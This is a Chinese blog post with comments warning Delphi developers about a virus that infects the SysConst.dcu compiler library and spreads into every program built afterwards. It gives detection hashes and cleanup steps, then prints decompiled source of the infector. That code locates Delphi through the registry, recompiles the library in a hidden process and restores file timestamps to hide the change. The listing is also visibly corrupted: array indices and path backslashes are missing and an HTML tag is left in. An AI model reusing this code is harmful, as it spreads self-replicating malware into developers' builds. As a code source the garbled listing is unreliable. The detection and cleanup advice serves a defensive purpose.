在DELPHI盒子与DELPHI群里看到的,据说只感染DELPHI7以下的版本(包含DELPHI7),貌似N多人中招了。感染此病毒后,所有用DELPHI编译的程序全都有感染能力。
如果在 C:\Program Files\Borland\Delphi7\Lib 发现有 SysConst.bak (12KB) 和
SysConst.dcu (18KB)
文件: C:\Program Files\Borland\Delphi7\Lib\sysconst.bak
大小: 11658 字节
修改时间: 2002年8月9日, 22:00:00
MD5: 957D629F2E4C38B9FA2AC911E352FC82
SHA1: 859EFAF4C24AF89E2B06922912D1081BAD349E7C
CRC32: 004EBB9D
文件: C:\Program Files\Borland\Delphi7\Lib\sysconst.dcu
大小: 18207 字节
修改时间: 2002年8月9日, 22:00:00
MD5: 89DD28E7C1EAEAE1793D9354E7C38D21
SHA1: F7EF5B9C3C85FF01299556C5546CAD511CA9F5A8
那么恭喜你,中招了。
原版下载:SysConst.rar
该病毒没有exe或者dll的毒源体,因为自 SysConst.dcu 被置换的一刻开始,你已经是毒源体的创造者,该病毒原来早在 2005 年已经被发现,一个软件 QIP 2005 build 8094 中就曾经染毒,然后扩散看来,该病毒代码简单看来并没有伤害性,但是它完全是一个病毒的形态,不知道哪天会被利用的,那个俄罗斯高人把这个病毒分析出了源代码,并且提出了一个切实可行的解决方法,根据该病毒的特性,第一时间就是要把 Lib 中的 sysconst.bak 复制一份改名为 sysconst.dcu,注意,是复制而不是直接改名,因为如果你的系统还有潜在威胁的时候,如果还是有 sysconst.bak 在,那么这个病毒会认为它的工作已经完成而不会去动你的原版 sysconst.dcu,然后你要把你所有的项目重新编译,因为他们都已经染毒了。最好是做一下全盘检查。
BTW: 为什么一个 2005 年的“病毒”到了今天仍然还有那么多杀毒软件不报呢,因为从代码上来说,它的破坏性并没有,但是它的确拥有了病毒的特性。
反编译的源码如下:
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s=#36 then s:=#39;
result:=s;
end;</span></span>
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('SoftwareBorlandDelphi'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c<>#0 do
begin
r:=r+c;
inc(i);
end;
re(r+'sourcertlsysSysConst'+'.pas',r+'libsysconst.','"'+r+'bindcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
4 条评论
傻猫原来有酒窝
嘿嘿,酒窝并不代表能喝酒。
sys,这不是驱动程序了?华丽丽的来访,欢迎回访。
这是一个感染编译IDE的病毒,虽然没有破坏作用,但是已经具备病毒的特征,自动感染,自动加载。我都中招了,开发都自己都是带源者。